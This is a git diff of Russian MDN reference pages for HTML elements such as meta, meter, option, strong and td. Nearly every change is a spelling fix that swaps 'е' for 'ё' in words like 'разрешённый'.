        Значения содержимого атрибута <meta name="referrer">
        origin-when-crossoriginОтправляет полный URL (удаленный из параметров) при выполнении запроса с тем же источником, или только оригинал документа в других случаях.Отправляет полный URL (удалённый из параметров) при выполнении запроса с тем же источником, или только оригинал документа в других случаях.
        unsafe-URLОтправляет полный URL (удалённый из параметров), при выполнении запроса того же или перекрестного происхождения.Отправляет полный URL (удалённый из параметров), при выполнении запроса того же или перекрёстного происхождения.
        @@ -167,10 +167,10 @@ translation_of: Web/HTML/Element/meta
      -

      Атрибут также может иметь значение, взятое из существующего листа определений  WHATWG Wiki MetaExtensions page. Хотя ни один из них официально не был принят, в число предложений входят несколько часто используемых имен:

      +

      Атрибут также может иметь значение, взятое из существующего листа определений  WHATWG Wiki MetaExtensions page. Хотя ни один из них официально не был принят, в число предложений входят несколько часто используемых имён:

        -
      • creator, определят в свободном формате имя создателя документа. Это также может быть имя института. Если же имен больше чем одно, то несколько {{HTMLElement("meta")}} элементов должны быть использованы;
      • +
      • creator, определят в свободном формате имя создателя документа. Это также может быть имя института. Если же имён больше чем одно, то несколько {{HTMLElement("meta")}} элементов должны быть использованы;
      • googlebot, синоним robots, но только следует за Googlebot, сканирует индексы для Google;
      • publisher, определяет в свободном формате имя того, кто опубликовал документ. Это также может быть имя института;
      • robots, определяет поведение, поисковых роботов на странице. Список этих значений представлен ниже: @@ -242,7 +242,7 @@ translation_of: Web/HTML/Element/meta
        Замечания:
          -
        • Только кооперативные роботы будут следовать правилам, определенным именем роботов. 
        • +
        • Только кооперативные роботы будут следовать правилам, определённым именем роботов. 
        • Роботу необходимо получить доступ к странице, чтобы считать мета значение. Если Вы хотите скрыть от них информацию, то используйте  robots.txt файл.
        • Если вы хотите удалить страницу индекса, изменение мета в noindex будет работать, но только тогда, когда робот снова посетит страницу. Убедитесь, что файл robots.txt не предотвращает такие посещения. Некоторые поисковые системы имеют инструменты, позволяющие быстро удалить какую-либо страницу.
        • Некоторые возможные значения взаимно исключают друг друга, такие как использование индекса и noindex или follow и nofollow одновременно. В этих случаях поведение робота не определено и может варьироваться от одного к другому. Поэтому избегайте этих случаев.
        • @@ -256,7 +256,7 @@ translation_of: Web/HTML/Element/meta

          Наконец несколько общих терминов:

            -
          • viewport, который дает подсказки о размере изначального размера {{glossary("viewport")}}. Эта прагма используется только на некоторых мобильных устройствах. +
          • viewport, который даёт подсказки о размере изначального размера {{glossary("viewport")}}. Эта прагма используется только на некоторых мобильных устройствах. diff --git a/files/ru/web/html/element/meter/index.html b/files/ru/web/html/element/meter/index.html index 1b7d72d8ad..8f4bb987de 100644 --- a/files/ru/web/html/element/meter/index.html +++ b/files/ru/web/html/element/meter/index.html @@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/meter - + @@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/meter - + - + @@ -53,15 +53,15 @@ translation_of: Web/HTML/Element/meter
            Примечание по использованию: Если атрибут value не находится в диапазоне от  0 до 1 (включительно), то атрибуты min и max должны определять диапазон, в котором будет находиться значение  value.
            {{htmlattrdef("min")}}
            -
            Нижняя числовая граница измеряемого диапазона. Он должен быть меньше, чем максимальное значение (max атрибут), если указан. Если не определен, то минимальное значение равно 0.
            +
            Нижняя числовая граница измеряемого диапазона. Он должен быть меньше, чем максимальное значение (max атрибут), если указан. Если не определён, то минимальное значение равно 0.
            {{htmlattrdef("max")}}
            -
            Верхняя числовая граница измеряемого диапазона. Он должен быть больше, чем минимальное значение (min атрибут), если указан. Если не определен, то максимальное значение равно 1.
            +
            Верхняя числовая граница измеряемого диапазона. Он должен быть больше, чем минимальное значение (min атрибут), если указан. Если не определён, то максимальное значение равно 1.
            {{htmlattrdef("low")}}
            Верхняя числовая граница нижнего предела измеряемого диапазона. Он должен быть больше, чем минимальное значение (min атрибут), а также, меньше, чем значение high и максимальное значение(high атрибут и max атрибут, соответственно), если они указаны. Если не указан или меньше минимального значения, то значение low равно минимальному значению.
            {{htmlattrdef("high")}}
            Нижняя числовая граница верхнего предела измеряемого диапазона. Он должен быть меньше, чем максимальное значение (max атрибут), а также, больше, чем значение low и минимальное значение (low атрибут и min атрибут, соответственно), если они указаны. Если не указан или больше максимального значения, то значение high равно максимальному значению.
            {{htmlattrdef("optimum")}}
            -
            Этот атрибут указывает оптимальное числовое значение. Он должен находиться в пределах диапазона (который определен атрибутами min и max). При использовании с атрибутами low и high, он указывает какая часть диапазона является предпочтительной. Например, если он находится между атрибутами min и low, нижний диапазон является предпочтительным.
            +
            Этот атрибут указывает оптимальное числовое значение. Он должен находиться в пределах диапазона (который определён атрибутами min и max). При использовании с атрибутами low и high, он указывает какая часть диапазона является предпочтительной. Например, если он находится между атрибутами min и low, нижний диапазон является предпочтительным.
            {{htmlattrdef("form")}}
            Этот атрибут связывает элемент с элементом form, частью которого является элемент meter. Например, meter может отображать диапазон, соответствующий элементу input с type number. Этот атрибут используется только в случае, если элемент  meter используется как элемент, связанный с формой; даже в этом случае он может быть опущен, если элемент является потомком элемента form.
            diff --git a/files/ru/web/html/element/nav/index.html b/files/ru/web/html/element/nav/index.html index aaa537f30c..4cb171fe2b 100644 --- a/files/ru/web/html/element/nav/index.html +++ b/files/ru/web/html/element/nav/index.html @@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/nav - + @@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/nav {{no_tag_omission}} - + - + @@ -54,7 +54,7 @@ translation_of: Web/HTML/Element/nav

            Примечание

              -
            • Не обязательно все ссылки должны быть обернуты в <nav>. <nav> следует использовать лишь для главных навигационных блоков. Например, {{HTMLElement("footer")}}  часто содержит список ссылок, которые не стоит оборачивать в {{HTMLElement("nav")}} .
            • +
            • Не обязательно все ссылки должны быть обёрнуты в <nav>. <nav> следует использовать лишь для главных навигационных блоков. Например, {{HTMLElement("footer")}}  часто содержит список ссылок, которые не стоит оборачивать в {{HTMLElement("nav")}} .
            • Документ может содержать несколько {{HTMLElement("nav")}} элементов. Например, один для навигации по сайту, второй для навигации по странице.
            • Пользовательские агенты, такие как устройства чтения с экрана, предназначенные для людей с плохим зрением, могут использовать этот элемент, чтобы определить следует ли пускать рендеринг содержимого навигации.
            @@ -98,7 +98,7 @@ translation_of: Web/HTML/Element/nav

            Совместимость браузера

            - +

            {{Compat("html.elements.nav")}}

            diff --git a/files/ru/web/html/element/noscript/index.html b/files/ru/web/html/element/noscript/index.html index 2fa2097246..74db832bfc 100644 --- a/files/ru/web/html/element/noscript/index.html +++ b/files/ru/web/html/element/noscript/index.html @@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/noscript <p>Rocks!</p> -

            Пример с включенным JavaScript

            +

            Пример с включённым JavaScript

            Rocks!

            diff --git a/files/ru/web/html/element/ol/index.html b/files/ru/web/html/element/ol/index.html index a8a7235f5a..4568058d95 100644 --- a/files/ru/web/html/element/ol/index.html +++ b/files/ru/web/html/element/ol/index.html @@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/ol
            {{HTMLAttrDef("reversed")}}
            Атрибут логического значения (bool)  показывает, что предметы указаны по списку в обратном порядке. Пункты в списке будут пронумерованы от большего к меньшему.
            {{HTMLAttrDef("start")}}
            -
            Нумерация начнется с указанного числа. Арабскими цифрами (1, 2, 3, и т.д.), даже когда нумерация type в буквах или Римском исчислении. Например, чтобы начать нумерацию с буквы "г" или Римской "iv", используйте start="4".
            +
            Нумерация начнётся с указанного числа. Арабскими цифрами (1, 2, 3, и т.д.), даже когда нумерация type в буквах или Римском исчислении. Например, чтобы начать нумерацию с буквы "г" или Римской "iv", используйте start="4".
            {{HTMLAttrDef("type")}}
            Задаёт тип нумерации:
              diff --git a/files/ru/web/html/element/option/index.html b/files/ru/web/html/element/option/index.html index 7f2bafd7ed..86efde49f4 100644 --- a/files/ru/web/html/element/option/index.html +++ b/files/ru/web/html/element/option/index.html @@ -17,7 +17,7 @@ translation_of: Web/HTML/Element/option
            - + @@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/option - + @@ -44,14 +44,14 @@ translation_of: Web/HTML/Element/option

            Как и все HTML элементы, этот элемент поддерживает глобальные атрибуты.

            -
            {{htmlattrdef("disabled")}} -- отключен(о)
            -
            Если этот Boolean атрибут установлен, эта опция недоступна для выделения. Часто браузеры выделяют такой элемент управления серым цветом и ему недоступны любые события браузера, такие как клики мыши или события, связанные с фокусировкой. Если этот атрибут не установлен, этот элемент все еще можно отключить (может не работать), если отключен внешний(one of its ancestors) элемент {{HTMLElement("optgroup")}}.
            +
            {{htmlattrdef("disabled")}} -- отключён(о)
            +
            Если этот Boolean атрибут установлен, эта опция недоступна для выделения. Часто браузеры выделяют такой элемент управления серым цветом и ему недоступны любые события браузера, такие как клики мыши или события, связанные с фокусировкой. Если этот атрибут не установлен, этот элемент все ещё можно отключить (может не работать), если отключён внешний(one of its ancestors) элемент {{HTMLElement("optgroup")}}.
            {{htmlattrdef("label")}} -- метка, ярлык
            Этот атрибут - текст ярлыка, отображающий значение(смысл, описание) опции. Если label не указан (отсутствует), то его значение совпадает с текстовым содержанием элемента <option>.
            {{htmlattrdef("selected")}} -- выбран(о)
            (Если присутствует,) этот Boolean атрибут отображает то, что опция изначально выделена. Если элемент <option> принадлежит элементу {{HTMLElement("select")}}, чей атрибут {{htmlattrxref("multiple", "select")}} не установлен, только одна-единственная <option> элемента {{HTMLElement("select")}} может иметь атрибут selected .
            {{htmlattrdef("value")}} -- значение, величина
            -
            Содержимое(содержание) этого атрибута отображает(представляет) значение, отправляемое формой, если выбрана(выделена) данная опция. Если (этот) атрибут value отсутствует, значение берется из текстового содержания элемента <option>.
            +
            Содержимое(содержание) этого атрибута отображает(представляет) значение, отправляемое формой, если выбрана(выделена) данная опция. Если (этот) атрибут value отсутствует, значение берётся из текстового содержания элемента <option>.

            Примеры

            diff --git a/files/ru/web/html/element/output/index.html b/files/ru/web/html/element/output/index.html index ffd25be957..5018c97a0e 100644 --- a/files/ru/web/html/element/output/index.html +++ b/files/ru/web/html/element/output/index.html @@ -2,7 +2,7 @@ title: ': Элемент вывода' slug: Web/HTML/Element/output tags: - - Верстка + - Вёрстка - Элемент - вывод translation_of: Web/HTML/Element/output @@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/output - + @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/output - + diff --git a/files/ru/web/html/element/p/index.html b/files/ru/web/html/element/p/index.html index 166c1b2bd0..c74f0a6b76 100644 --- a/files/ru/web/html/element/p/index.html +++ b/files/ru/web/html/element/p/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/p ---
            {{HTMLRef}}
            -

            HTML-элемент <p> представляет собой абзац. Абзацы обычно представлены в визуальной среде в виде блоков текста, отделенных от соседних блоков пустыми строками и/или отступом в первой строке, кроме этого HTML-абзацы могут представлять собой структурную группировку однотипного содержимого, например изображений или полей формы.

            +

            HTML-элемент <p> представляет собой абзац. Абзацы обычно представлены в визуальной среде в виде блоков текста, отделённых от соседних блоков пустыми строками и/или отступом в первой строке, кроме этого HTML-абзацы могут представлять собой структурную группировку однотипного содержимого, например изображений или полей формы.

            Абзацы являются блочными элементами и, в частности, автоматически закрываются, если другой блочный элемент находится перед закрывающим тегом </p>. Смотрите ниже "Пропуск тега".

            @@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/p - + @@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/p - + - + @@ -161,7 +161,7 @@ p.pilcrow + p.pilcrow::before { - + diff --git a/files/ru/web/html/element/pre/index.html b/files/ru/web/html/element/pre/index.html index 70a3b05b1f..be57b57be9 100644 --- a/files/ru/web/html/element/pre/index.html +++ b/files/ru/web/html/element/pre/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/pre - + @@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/pre - + @@ -39,7 +39,7 @@ translation_of: Web/HTML/Element/pre - + @@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/pre
            {{htmlattrdef("cols")}} {{non-standard_inline}}{{obsolete_inline}}
            Содержит предпочтительное количество символов, которое должна иметь строка. Это был нестандартный синоним {{htmlattrxref("width", "pre")}}. Чтобы добиться такого эффекта, используйте CSS {{Cssxref("width")}}.
            {{htmlattrdef("width")}} {{obsolete_inline}}
            -
            Содержит предпочтительное количество символов, которое должна иметь строка. Хотя технически он все еще реализован, этот атрибут не имеет визуального эффекта; чтобы достичь такого эффекта, используйте CSS {{Cssxref("width")}}.
            +
            Содержит предпочтительное количество символов, которое должна иметь строка. Хотя технически он все ещё реализован, этот атрибут не имеет визуального эффекта; чтобы достичь такого эффекта, используйте CSS {{Cssxref("width")}}.
            {{htmlattrdef("wrap")}} {{non-standard_inline}}
            Подсказка, указывающая, как должен происходить перенос. В современных браузерах этот атрибут игнорируется, и никакого визуального эффекта не приводит; чтобы достичь такого эффекта, используйте CSS {{Cssxref("white-space")}}.
            @@ -80,7 +80,7 @@ body {

            Проблемы доступности

            -

            Важно предоставить альтернативное описание для любых изображений или диаграмм, созданных с использованием предварительно отформатированного текста. Альтернативное описание должно четко и лаконично описывать содержание изображения или диаграммы.

            +

            Важно предоставить альтернативное описание для любых изображений или диаграмм, созданных с использованием предварительно отформатированного текста. Альтернативное описание должно чётко и лаконично описывать содержание изображения или диаграммы.

            Люди, испытывающие проблемы с плохим зрением и просматривающие страницы с помощью вспомогательных технологий, таких как программа чтения с экрана, могут не понимать, что представляют собой предварительно отформатированные текстовые символы, когда они читаются последовательно.

            diff --git a/files/ru/web/html/element/progress/index.html b/files/ru/web/html/element/progress/index.html index 3044cb72c1..5746e3259a 100644 --- a/files/ru/web/html/element/progress/index.html +++ b/files/ru/web/html/element/progress/index.html @@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/progress - + @@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/progress - + - + @@ -51,7 +51,7 @@ translation_of: Web/HTML/Element/progress
            {{ htmlattrdef("max") }}
            Этот атрибут описывает сколько затрат требует задача, указанная элементом  progress. Атрибут max, в случае указания, должен быть положительным, также, возможно применение числа с плавающей точкой.  Значение по умолчанию 1.
            {{ htmlattrdef("value") }}
            -
            Этот атрибут указывает какая часть задачи была выполнена. Это может быть число с плавающей точкой от 0 до max, или между 0 и 1, если max не указан. Если атрибут value не указан, индикатор выполнения не определен; это указывает на то, что действие продолжается без указания на то, сколько времени оно займет.
            +
            Этот атрибут указывает какая часть задачи была выполнена. Это может быть число с плавающей точкой от 0 до max, или между 0 и 1, если max не указан. Если атрибут value не указан, индикатор выполнения не определён; это указывает на то, что действие продолжается без указания на то, сколько времени оно займет.
            @@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/progress
            -

            Примечание: Псевдокласс {{ cssxref(":indeterminate") }} может быть использован для работы с неопределенным индикатором выполнения. Чтобы индикатор выполнения стал неопределенным после присвоения ему значения, вы должны удалить атрибут value с помощью element.removeAttribute("value")

            +

            Примечание: Псевдокласс {{ cssxref(":indeterminate") }} может быть использован для работы с неопределённым индикатором выполнения. Чтобы индикатор выполнения стал неопределённым после присвоения ему значения, вы должны удалить атрибут value с помощью element.removeAttribute("value")

            Примеры

            diff --git a/files/ru/web/html/element/ruby/index.html b/files/ru/web/html/element/ruby/index.html index ed501d421c..50439aa381 100644 --- a/files/ru/web/html/element/ruby/index.html +++ b/files/ru/web/html/element/ruby/index.html @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/ruby - + - + diff --git a/files/ru/web/html/element/script/index.html b/files/ru/web/html/element/script/index.html index 7febc40d50..f16b52b07a 100644 --- a/files/ru/web/html/element/script/index.html +++ b/files/ru/web/html/element/script/index.html @@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/script - + diff --git a/files/ru/web/html/element/section/index.html b/files/ru/web/html/element/section/index.html index b34e9d1099..9774eae28f 100644 --- a/files/ru/web/html/element/section/index.html +++ b/files/ru/web/html/element/section/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/section -

            Например, меню навигации должно быть помещено в элемент {{htmlelement("nav")}}, но список результатов поиска и отображение карты с ее элементами управления не имеют специфических элементов и могут быть помещены в <section>.

            +

            Например, меню навигации должно быть помещено в элемент {{htmlelement("nav")}}, но список результатов поиска и отображение карты с её элементами управления не имеют специфических элементов и могут быть помещены в <section>.

            Заметка: Если содержимое элемента имеет смысл объединить как единое целое (в цельный и независимый блок), то элемент {{HTMLElement("article")}} может стать лучшим выбором.

            @@ -33,7 +33,7 @@ translation_of: Web/HTML/Element/section
            - + @@ -41,11 +41,11 @@ translation_of: Web/HTML/Element/section - + - + @@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/section

            Примечание

              -
            • Каждый элемент <section> должен быть идентифицирован, обычно путем добавления заголовка (элементы {{HTMLElement('h1')}}-{{HTMLElement('h6')}}) в качестве дочернего элемента.
            • +
            • Каждый элемент <section> должен быть идентифицирован, обычно путём добавления заголовка (элементы {{HTMLElement('h1')}}-{{HTMLElement('h6')}}) в качестве дочернего элемента.
            • Если имеет смысл по-особому объединить содержимое элемента <section> (например, сделать цельным и независимым разделом HTML-документа), используйте вместо него элемент {{HTMLElement("article")}}.
            • Не используйте элемент <section> как общий контейнер; для этого есть {{HTMLElement("div")}}, особенно когда секционирование применяется только для стилизации. На практике раздел должен логически выделяться в структуре документа.
            diff --git a/files/ru/web/html/element/select/index.html b/files/ru/web/html/element/select/index.html index 53b0bc2509..58b8a35fa8 100644 --- a/files/ru/web/html/element/select/index.html +++ b/files/ru/web/html/element/select/index.html @@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/select - + diff --git a/files/ru/web/html/element/slot/index.html b/files/ru/web/html/element/slot/index.html index c87c67b648..84fadbdb9e 100644 --- a/files/ru/web/html/element/slot/index.html +++ b/files/ru/web/html/element/slot/index.html @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/slot - + @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/slot - + - + diff --git a/files/ru/web/html/element/span/index.html b/files/ru/web/html/element/span/index.html index 3a8788e03e..0e28125455 100644 --- a/files/ru/web/html/element/span/index.html +++ b/files/ru/web/html/element/span/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/span - + @@ -34,11 +34,11 @@ translation_of: Web/HTML/Element/span - + - + @@ -67,7 +67,7 @@ translation_of: Web/HTML/Element/span

            HTML

            <li><span>
            -    <a href="portfolio.html" target="_blank">Посмотреть мое портфолио</a>
            +    <a href="portfolio.html" target="_blank">Посмотреть моё портфолио</a>
             </span></li>
             
            diff --git a/files/ru/web/html/element/strong/index.html b/files/ru/web/html/element/strong/index.html index dfbbabd735..d16b0af54f 100644 --- a/files/ru/web/html/element/strong/index.html +++ b/files/ru/web/html/element/strong/index.html @@ -12,7 +12,7 @@ tags: - Элемент translation_of: Web/HTML/Element/strong --- -

            Элемент сильной значимости (<strong>) указывает на то, что его содержание имеет большое значение, серьезность или срочность. Браузеры обычно отображают содержимое жирным шрифтом.

            +

            Элемент сильной значимости (<strong>) указывает на то, что его содержание имеет большое значение, серьёзность или срочность. Браузеры обычно отображают содержимое жирным шрифтом.

            Значения для содержания <meta name="viewport">
            Потоковый контент, фразовый контент, контент, ассоциированный с  label, явный контент.
            Разрешенный контентРазрешённый контент Фразовый контент, но среди его потомков не должно быть элемента <meter>.
            {{no_tag_omission}}
            Разрешенные родителиРазрешённые родители Любой элемент, который принимает фразовый контент.
            Разрешенные ARIA ролиРазрешённые ARIA роли Нет
            Потоковый контент, секционный контент, явный контент.
            Разрешенный контентРазрешённый контент Потоковый контент.
            Разрешенный родительский элементРазрешённый родительский элемент Любой элемент, содержащий потоковый контент.
            Разрешенные ARIA-атрибутыРазрешённые ARIA-атрибуты Нет
            Нет.
            Разрешенное содержимоеРазрешённое содержимое Текст, допускаются экранированные символы (например &eacute;).
            Открывающий тег обязателен. Закрывающий тег опционален если за этим элементом следует другой элемент <option>, или элемент {{HTMLElement("optgroup")}}, или если родительский элемент не имеет больше содержимого.
            Разрешенные родителиРазрешённые родители Элемент {{HTMLElement("select")}},  элемент {{HTMLElement("optgroup")}} или элемент {{HTMLElement("datalist")}}.
            Потоковый контент, фразовый контент, перечисляемые, лэйбловые, сбрасываемые форма-ассоциированные элементы, явный контент.
            Разрешенный контентРазрешённый контент Фразовый контент.
            {{no_tag_omission}}
            Разрешенные родителиРазрешённые родители Все элементы, которые принимают фразовый контент.
            Потоковый контент, явный контент.
            Разрешенное содержимоеРазрешённое содержимое Фразовый контент.
            Требуется открывающий тег. Закрывающий тег может быть пропущен, если за элементом {{HTMLElement("p")}} сразу следует элемент {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hr")}}, {{HTMLElement("menu")}}, {{HTMLElement("nav")}}, {{HTMLElement("ol")}}, {{HTMLElement("pre")}}, {{HTMLElement("section")}}, {{HTMLElement("table")}}, {{HTMLElement("ul")}} или другой элемент {{HTMLElement("p")}}, или если в родительском элементе больше ничего не содержится и родительский элемент не является элементом {{HTMLElement("a")}}.
            Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент, который разрешает потоковый контент в качестве содержимого.
            Разрешенные роли ARIAРазрешённые роли ARIA Любые
            {{SpecName('HTML WHATWG', 'semantics.html#the-p-element', '<p>')}} {{Spec2('HTML WHATWG')}}Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохраненное в определенный момент времени) {{SpecName("HTML5 W3C")}}Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохранённое в определённый момент времени) {{SpecName("HTML5 W3C")}}
            {{SpecName('HTML5 W3C', 'grouping-content.html#the-p-element', '<p>')}}Основной поток, Явный контент
            Разрешенный контентРазрешённый контент Фразовый контент
            {{no_tag_omission}}
            Разрешенные родителиРазрешённые родители Любой элемент, который принимает содержимое потока
            Нет соответствующей роли
            Разрешенные роли ARIAРазрешённые роли ARIA Любые
            Потоковый контент, фразовый контент, контент, ассоциированный с  label, явный контент.
            Разрешенный контентРазрешённый контент Фразовый контент, но среди его потомков не должно быть элемента <progress>.
            {{no_tag_omission}}
            Разрешенные родителиРазрешённые родители Любой элемент, который принимает фразовый контент.
            Разрешенные ARIA ролиРазрешённые ARIA роли Нет
            {{no_tag_omission}}
            Разрешенные родителиРазрешённые родители Любой элемент который согласован с текстовым контентом(phrasing content).
            Разрешенные роли ARIAРазрешённые роли ARIA Любые
            Разрешенная ARIA рольРазрешённая ARIA роль Отсутствует
            Основной поток, секционный контент, явный контент.
            Разрешенное содержимоеРазрешённое содержимое Основной поток
            Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
            Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент, который разрешает контент основного потока в качестве содержимого. Обратите внимание, что элемент <section> не должен быть потомком элемента {{HTMLElement("address")}}.
            Разрешенные роли ARIAРазрешённые роли ARIA {{ARIARole("alert")}}, {{ARIARole("alertdialog")}}, {{ARIARole("application")}}, {{ARIARole("banner")}}, {{ARIARole("complementary")}}, {{ARIARole("contentinfo")}}, {{ARIARole("dialog")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("log")}}, {{ARIARole("main")}}, {{ARIARole("marquee")}}, {{ARIARole("navigation")}}, {{ARIARole("search")}}, {{ARIARole("status")}}, {{ARIARole("tabpanel")}}
            Любые элементы в которых разрешено текстовое содержимое
            Разрешенная ARIA рольРазрешённая ARIA роль {{ARIARole("menu")}}
            Поток контента, содержание формулировки
            Разрешенный контентРазрешённый контент Прозрачный
            {{no_tag_omission}}
            Разрешенный родителиРазрешённый родители Любой элемент, который принимает содержание формулировки
            Разрешенные роли ARIAРазрешённые роли ARIA Никакой
            Потоковый контент, фразовый контент.
            Разрешенное содержимоеРазрешённое содержимое Фразовый контент.
            Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
            Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент, который разрешает фразовый или потоковый контент в качестве содержимого.
            Разрешенные роли ARIAРазрешённые роли ARIA Любые
            @@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/strong - + @@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/strong - + - + @@ -49,19 +49,19 @@ translation_of: Web/HTML/Element/strong

            Замечания по использованию

            -

            Элемент <strong> предназначен для контента, который имеет "большое значение", включая вещи большой серьезности или срочности (например, предупреждения). Это может быть предложение, которое имеет большое значение для всей страницы, или вы можете просто попытаться указать, что некоторые слова имеют большее значение по сравнению с соседним контентом.

            +

            Элемент <strong> предназначен для контента, который имеет "большое значение", включая вещи большой серьёзности или срочности (например, предупреждения). Это может быть предложение, которое имеет большое значение для всей страницы, или вы можете просто попытаться указать, что некоторые слова имеют большее значение по сравнению с соседним контентом.

            -

            Обычно этот элемент отображается по умолчанию с использованием жирного шрифта. Однако, он не должен быть использован просто для применения жирного стиля; используйте свойство CSS {{cssxref("font-weight")}} для этой цели. Используйте элемент {{HTMLElement("b")}}, чтобы привлечь внимание к определенному тексту без указания более высокого уровня важности. Используйте элемент {{HTMLElement("em")}} element для выделения текста, который имеет выраженный акцент.

            +

            Обычно этот элемент отображается по умолчанию с использованием жирного шрифта. Однако, он не должен быть использован просто для применения жирного стиля; используйте свойство CSS {{cssxref("font-weight")}} для этой цели. Используйте элемент {{HTMLElement("b")}}, чтобы привлечь внимание к определённому тексту без указания более высокого уровня важности. Используйте элемент {{HTMLElement("em")}} element для выделения текста, который имеет выраженный акцент.

            Другим приемлемым использованием для <strong> является обозначение ярлыков абзацев, которые представляют заметки или предупреждения в тексте страницы.

            <b> против <strong>

            -

            Это часто путает новых разработчиков, почему существует так много способов выразить одно и то же на представленном веб-сайте. {{HTMLElement("b")}} и <strong> возможно, является одним из наиболее распространенных источников путаницы, заставляя разработчиков задавать себе вопрос: «Должен ли я использовать <b> или <strong>? Разве они не делают одно и тоже?»

            +

            Это часто путает новых разработчиков, почему существует так много способов выразить одно и то же на представленном веб-сайте. {{HTMLElement("b")}} и <strong> возможно, является одним из наиболее распространённых источников путаницы, заставляя разработчиков задавать себе вопрос: «Должен ли я использовать <b> или <strong>? Разве они не делают одно и тоже?»

            Не совсем. Элемент <strong> для контента, который имеет большее значение, в то время как элемент <b> используется для привлечения внимания к тексту, не указывая на то, что это более важно.

            -

            Это может помочь понять, что оба являются правильным и семантическими элементами в HTML5, и это совпадение, что оба они имеют одинаковый стиль (полужирный) в большинстве браузеров (хотя некоторые старые браузеры фактически подчеркивают <strong>). Каждый элемент предназначен для использования в определенных типах сценариев, и если вы хотите жирный шрифт просто для украшения, вместо этого вы должные использовать свойства CSS {{cssxref("font-weight")}}.

            +

            Это может помочь понять, что оба являются правильным и семантическими элементами в HTML5, и это совпадение, что оба они имеют одинаковый стиль (полужирный) в большинстве браузеров (хотя некоторые старые браузеры фактически подчёркивают <strong>). Каждый элемент предназначен для использования в определённых типах сценариев, и если вы хотите жирный шрифт просто для украшения, вместо этого вы должные использовать свойства CSS {{cssxref("font-weight")}}.

            Предполагаемое значение или цель прилагаемого текста должно быть тем, что определяет, какой элемент вы используете. Значение общения - вот что такое семантика.

            @@ -85,7 +85,7 @@ translation_of: Web/HTML/Element/strong
            <p><strong>Важно:</strong> прежде чем продолжить, убедитесь, что вы добавили много масла.</p>
            -

            Это приведет к:

            +

            Это приведёт к:

            {{EmbedLiveSample("Маркировочные_предупреждения", 650, 80)}}

            @@ -120,7 +120,7 @@ translation_of: Web/HTML/Element/strong

            Совместимость с браузерами

            - +

            {{Compat("html.elements.strong")}}

            diff --git a/files/ru/web/html/element/td/index.html b/files/ru/web/html/element/td/index.html index 13adb17b58..1aff1b6a4e 100644 --- a/files/ru/web/html/element/td/index.html +++ b/files/ru/web/html/element/td/index.html @@ -21,11 +21,11 @@ translation_of: Web/HTML/Element/td Закрывающий тег может быть пропущен, если сразу за ним следует элемент {{HTMLElement("th")}} или {{HTMLElement("td")}}, или если больше нет данных в его родительском элементе. - + - + @@ -68,11 +68,11 @@ translation_of: Web/HTML/Element/td
            {{htmlattrdef("axis")}} {{obsolete_inline("html5")}}
            -
            Этот атрибут включает список строк разделенных пробелами. Каждая строка это ID группы ячеек которой соответствует этот заголовок. +
            Этот атрибут включает список строк разделённых пробелами. Каждая строка это ID группы ячеек которой соответствует этот заголовок.
            Примечание: Не используйте этот атрибут, он устарел в последней версии стандарта: вместо этого используйте атрибут {{htmlattrxref("scope", "td")}}.
            {{htmlattrdef("bgcolor")}} {{Non-standard_inline}}
            -
            Этот атрибут определяет цвет фона ячейки. Значением задается 6-значными шестнадцатеричными кодами как определено в sRGB, с префиксом '#'. Можно также использовать предопределенные цветовые строки, например: +
            Этот атрибут определяет цвет фона ячейки. Значением задаётся 6-значными шестнадцатеричными кодами как определено в sRGB, с префиксом '#'. Можно также использовать предопределённые цветовые строки, например:
            Потоковой контент, Фразовый контент, явный контент.
            Разрешенный контентРазрешённый контент Фразовый контент.
            Нет, должен иметь как начальный тег, так и конечный тег.
            Разрешенные родителиРазрешённые родители Любой элемент, который принимает фразовый контент, или любой другой элемент, который принимает потоковой контент.
            Разрешенные ARIA-ролиРазрешённые ARIA-роли Любые
            Разрешенные родителиРазрешённые родители Элемент {{HTMLElement("tr")}}.
            Разрешенные ARIA ролиРазрешённые ARIA роли Любые
            @@ -142,7 +142,7 @@ translation_of: Web/HTML/Element/td
            {{htmlattrdef("colspan")}}
